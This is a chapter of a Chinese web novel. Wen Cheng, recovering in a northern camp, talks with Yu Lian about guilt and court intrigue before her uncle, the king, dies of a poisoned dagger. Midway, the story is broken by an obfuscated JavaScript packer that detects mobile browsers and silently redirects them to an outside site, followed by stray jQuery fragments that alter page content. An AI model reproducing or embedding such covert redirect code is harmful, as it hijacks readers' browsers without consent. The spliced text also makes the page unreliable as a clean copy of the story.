72. 王陨

作品:《独尊贵妾

    文骋掀开帐帘的刹那,正撞见一队红衣女子策马掠过雪原。她们的马蹄踏碎薄冰,溅起的雪沫在阳光下折射出七彩的光,领头的女子红袍翻飞,长发如墨,腰间悬挂的银铃随着马速叮当作响,竟与记忆里那个在冀州山道劫杀自己的身影重叠。


    他下意识摸向腰间——那里本该挂着桃夭剑的断刃,如今却空空如也。三日前巫医为他解蛊时,那截断剑随蛊毒一起被取出,此刻正泡在银玄的药水里,等待重铸。


    “还愣着干什么?”红衣女子勒住马缰,冰蓝色的眸子在阳光下亮得惊人,“再不起身,今天的药就要凉了。”


    文骋这才回过神,发现虞怜已到了帐前,红袍下摆沾着未化的雪粒,鬓边的银饰随着呼吸轻颤。他连忙起身,却牵动胸口的旧伤,疼得闷哼一声。


    虞怜的指尖搭上文骋腕脉时,他下意识绷紧了手臂。指腹下的脉搏强劲有力,早已没了蛊毒残留的滞涩,连带着内力流转都顺畅了许多。她收回手,将药碗往矮几上一放,青瓷与木面碰撞发出清脆一响。


    “脉象平稳,已无大碍。”她的声音里听不出情绪,目光掠过他胸前尚未拆线的伤口,“只是内伤还需静养,别总想着提刀动剑。”


    药碗里飘来淡淡的药香,混着马奶酒的醇厚,是北境特有的疗伤方子。文骋望着她转身的背影,忽然想起三年前在冀州山洞,她也是这样背着药篓走来,青衫沾着晨露,发间别着朵不知名的蓝花。


    “我找人问过银玄。”文骋仰头饮尽药汁,苦味里竟带着回甘,“他说银素的血灵已经稳定,只等开春就能接回来。”


    虞怜正在收拾药箱,闻言动作顿了顿:“难为你还记得——银素和银玄兄弟情深,他回来了,北境的大局就更加稳定了。”


    “我没忘。”文骋的目光落在她发间——那里别着枚银簪,是他当年送的定情之物,“我还知道,你把桃夭剑的断刃交给银玄,是想重铸。”


    虞怜突然笑了,红袍随着动作绽开,像极了草原上盛放的山丹丹:“算你还有点良心。不过重铸剑得用沉银,那东西在百谷山深处,得等开春才能开采。”


    那笑容清澈而不设防,仿佛那些罪恶、血腥从未在他们之间发生过。


    文骋的心猛地一紧。百谷山……那是银后陵的所在地,也是他父亲文松年当年与秦王私挖沉银矿的地方。他张了张嘴,想说些什么,却被远处传来的马蹄声打断。


    只见二十名红衣女子正策马而来,她们的马鞍上捆着猎物,腰间悬挂的弯刀还在滴血。领头的女子翻身下马,将一只雪狐扔在文骋面前:“文郎君醒了?正好,这狐皮给你做褥子。”


    虞怜挑了挑眉:“你父王教的骑射功夫,你就用来打狐狸了?随我再去猎一会,保准给你拖一头熊回来。”


    领头女子笑得眉眼弯弯,回嘴道:“我尊贵的公主,咱们姐妹打回来雪狐不还是为了你的情郎吗?北境天寒地冻,他们中原人要被冻掉一层皮的,公主居然这么不领情……”


    虞怜眯了眯眼,就像是没听到那句调侃似的,对于她和文骋的关系不多做解释,只是无可无不可地说:“走吧。”


    文骋认出那送狐皮的是银玄麾下的女将,擅长追踪,据说曾单枪匹马追回被中原商人偷走的羊群。他刚要道谢,却见虞怜已翻身上马,红袍在风中舒展如蝶翼。


    “阿昭……”


    虞怜正要催马向前,听到这个呼唤下意识地回过头,光洁的额头微微蹙着:“怎么,还有事?”


    “我在想,”文骋的声音有些发紧,“等开春,我陪你去百谷山。”


    陪你去重铸断剑,去修复……属于我们的一切。


    虞怜有些没明白他的意思,以为此人在说胡话,俯下身去摸他的额头:“你还是先好好休息吧……”文骋却反手攥住她的手腕,掌心的温度烫得惊人。他能感觉到她想抽回手,力道虽轻,态度却坚决。他喉结滚动半晌,才哑声问道:“就这样?你要对我说的,就是这些?”


    “不然呢?”虞怜挑眉,银铃随着动作轻响,“难道要我摆酒庆贺你痊愈?”


    “我是说……”文骋的指尖掐进她的皮肉,指节泛白,“你如何才肯原谅我?沈家的冤屈,我会尽全力洗刷;文家的罪孽,我会一一清算。只要你说一句,哪怕是让我……”


    “让你自裁谢罪?”虞怜忽然笑了,那笑意却未达眼底,反而带着一种近乎悲悯的淡漠,“文骋,你以为我困在文府三年,就是为了等一句道歉?”


    她掰开他的手指,动作轻柔却不容抗拒:“我没有时间分给儿女私情了。北境的牛羊需要过冬的草料,中原的百姓盼着开春的耕牛,两国边境还有无数孤儿等着粮食。比起这些,你的歉意一文不值。”


    “我不杀你,不是因为别的,只是我觉得你不该死。北境的草原需要好马,中原的战场需要良将,杀了你,和杀了北境的勇士有什么区别?”


    文骋僵在原地,看着她飞马离去的背影。他忽然想起三年前那个雪夜,她也是这样背对着自己,说“文家的富贵,我不稀罕”。原来从那时起,她要的就从来不是他的愧疚。


    当晚,虞怜再次为文骋把脉。


    文骋不依不饶:“我不会走的,你要把我赶出营帐,我就去山洞里生活,总之我不会再离开你了。”


    “这些都不重要,随你的心意吧。”出乎他的意料,虞怜这样说道。


    “眼下最重要的,是让中原和北境止戈休战。”虞怜将最后一瓶金疮药塞进箱底,“还要想办法让中原的继承人重审旧案——沈家的牌位不能永远蒙尘。”


    “继承人?”文骋敏锐地抓住关键词,“你是说裕王?他刚迎娶白楚,正是权势鼎盛之时,怎会……”


    “我不是说他。”虞怜打断他,走到帐门口掀起帘子,望向南方的天空。那里的云层压得很低,像一块浸了血的棉絮,“国师下一步的目标是皇帝。如果我所料不错,那位陛下已经没有多少时日了。”


    文骋的心脏骤然缩紧。他想起离京前陆柳的话,说皇帝近来汤药不断,连早朝都改成了三日一次。当时他只当是老迈体虚,此刻经虞怜点破,才惊觉其中诡异——国师常年为皇帝炼丹,若真要动手,简直易如反掌。


    “他敢弑君?”


    “弑君多麻烦。”虞怜的目光冷得像北境的冰湖,“让皇帝‘病逝’,再拥立一个听话的新君,才是国师的手段。你以为他为何急着让白楚做太子妃?不过是想借白家的势力,稳住新君的位子。”


    文骋正要追问,帐外忽然传来一声凄厉的尖叫,像被狼咬住的羔羊,在寂静的草原上撕开一道口子。那声音来自王帐的方向,尖锐得让人头皮发麻。


    两人对视一眼,瞬间明白了彼此眼中的惊惧。


    “是舅舅!”


    “是银坚!”


    几乎是同时出口,话音未落,虞怜已翻身上马,红袍在风中展开如烈火。文骋抓起墙边的秋水雁翎刀,足尖一点跃上马背,紧随其后冲向王帐。


    沿途的侍卫们也听到了尖叫,正提着兵器往中心聚拢,脸上满是慌乱。平日里肃穆的王帐此刻透着诡异的死寂,只有帐帘在寒风中剧烈晃动,像只濒死的蝶。


    “守住外围,任何人不得靠近!”虞怜勒住马缰,对着赶来的亲卫下令,声音因急切而微微发颤。她翻身下马时,手指触到腰间的银铃,那是银坚昨日刚送她的护身符,说能驱邪避灾。


    文骋拨开帐帘的刹那,一股浓重的血腥气扑面而来。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16082899|179439||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    帐内的火塘早已熄灭,寒气从四面八方涌来。银坚倒在王座旁,银白战甲被血浸透,胸口插着一柄造型奇特的匕首——那匕首柄上镶嵌着红珊瑚,是西凉王族的制式。


    “王上!”巫医扑过去按住银坚的伤口,指腹触到匕首时突然嘶地抽气,“这是……西凉的蛇毒!见血封喉的那种!”


    虞怜的瞳孔骤然收缩。银坚数月前率领北境铁蹄灭了西凉,男子一律斩首,女人和不高过马背的孩子被放逐漠北,西凉元气大伤,不可能短时间组织起这样的刺杀……她指尖泛起银光,凤凰图腾在掌心亮起,缓缓覆上银坚的眉心。


    识海内一片混沌,浓重的黑暗正一点点吞噬银坚残存的意识。她看到无数金雕在盘旋,翅膀掀起的狂风卷着沙石,一个模糊的黑影握着匕首,在乱羽中刺向王座……


    “阿昭……”银坚的睫毛颤了颤,睁开的双眼灰蒙蒙的,像蒙了层雾,“别费力气了……我的时间……不多了……”


    “舅舅撑住!”虞怜的银光亮得刺眼,试图驱散那片黑暗,“巫医说有解药,只要拔了匕首……”


    “拔不得。”巫医抱着药箱发抖,“这匕首上淬的是子母毒,母毒在匕首,子毒在血脉。一旦拔出,子毒会瞬间攻心,神仙也救不了!”


    虞怜的动作僵住了。她看着银坚胸口起伏越来越微弱,识海内的黑暗却越来越浓,终于明白这毒有多阴狠——不拔匕首,蛇毒会慢慢浸入血脉,让他陷入永久的昏迷;拔了匕首,就是当场毙命。


    “让巫医……喂药。”银坚抓住她的手腕,力道轻得像羽毛,“能多撑一刻……是一刻……”


    巫医连忙撬开他的牙关,灌下一碗墨绿色的汤药。药汁顺着银坚的嘴角流淌,在银白战甲上晕开深色的痕迹,却没能阻止他瞳孔逐渐涣散。


    虞怜闭上眼,将御魂的力量催到极致。银光如潮水般涌入银坚识海,那些盘旋的金雕发出凄厉的惨叫,黑影在强光中渐渐清晰——那人身形瘦高,披着北境常见的黑袍,袖口却露出一截西凉特有的金丝绣纹。


    “是金雕群暴乱。”她猛地睁开眼,蓝瞳里闪过刻骨的寒意,“有人用秘法操控了王帐的护卫金雕,啄瞎了守卫的双眼。混乱中,那个西凉打扮的黑影闯进来下了毒手。”


    文骋早已拔刀出鞘,秋水雁翎刀在昏暗的帐内闪着冷光:“我去追!”


    “不必。”虞怜按住他的手臂,指节因用力而泛白,“他既然敢在王帐动手,必然早已布好了退路。当务之急是稳住局面。”


    她转身看向帐外,声音陡然提高,带着不容置疑的威严:“传我命令——王帐周围卫士即刻集合,封锁所有进出通道!银玄带亲卫接管防务,任何人不得擅自调动一兵一卒!”


    帐外的亲卫们齐声应和,甲胄碰撞的脆响与马蹄声交织,很快在王帐周围织成一张密不透风的网。


    虞怜重新蹲回银坚身边,看着他胸口的匕首,忽然想起母亲银璃的话:“北境的王座上,从来都铺着鲜血。”她以为银坚能打破这个宿命,却没想过他最终还是倒在了阴谋诡计之下。


    “阿昭……”银坚的嘴唇翕动着,气若游丝,“别信……任何人……尤其是……”


    后面的话消散在喉咙里,他的手无力地垂下,彻底没了声息。只有胸口那柄嵌着红珊瑚的匕首,在昏暗的光线下泛着妖异的光。


    虞怜缓缓合上他的双眼,指尖的银光悄然熄灭。她站起身时,红袍下摆扫过地上的血迹,留下一串触目惊心的印记。


    “文骋,”她的声音平静得像结了冰的湖面,“帮我个忙。”


    文骋握紧刀柄,喉结滚动半晌:“你说。”


    “去帮我把冰棺带来,记住,不要惊动任何人。”